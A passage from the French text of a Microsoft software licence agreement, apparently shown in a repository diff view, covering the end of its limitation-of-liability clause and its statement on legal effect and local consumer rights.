· tout ce qui est relié au logiciel, aux services ou au contenu (y compris le code) figurant sur des sites Internet tiers ou dans des programmes tiers ; et
|
||||||
|
|
||||||
|
· les réclamations au titre de violation de contrat ou de garantie, ou au titre de responsabilité stricte, de négligence ou d’une autre faute dans la limite autorisée par la loi en vigueur.
|
||||||
|
|
||||||
|
Elle s’applique également, même si Microsoft connaissait ou devrait connaître l’éventualité d’un tel dommage. Si votre pays n’autorise pas l’exclusion ou la limitation de responsabilité pour les dommages indirects, accessoires ou de quelque nature que ce soit, il se peut que la limitation ou l’exclusion ci-dessus ne s’appliquera pas à votre égard.
|
||||||
|
|
||||||
|
EFFET JURIDIQUE. Le présent contrat décrit certains droits juridiques. Vous pourriez avoir d’autres droits prévus par les lois de votre pays. Le présent contrat ne modifie pas les droits que vous confèrent les lois de votre pays si celles-ci ne le permettent pas.
|
||||||
|
|
||||||
|
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user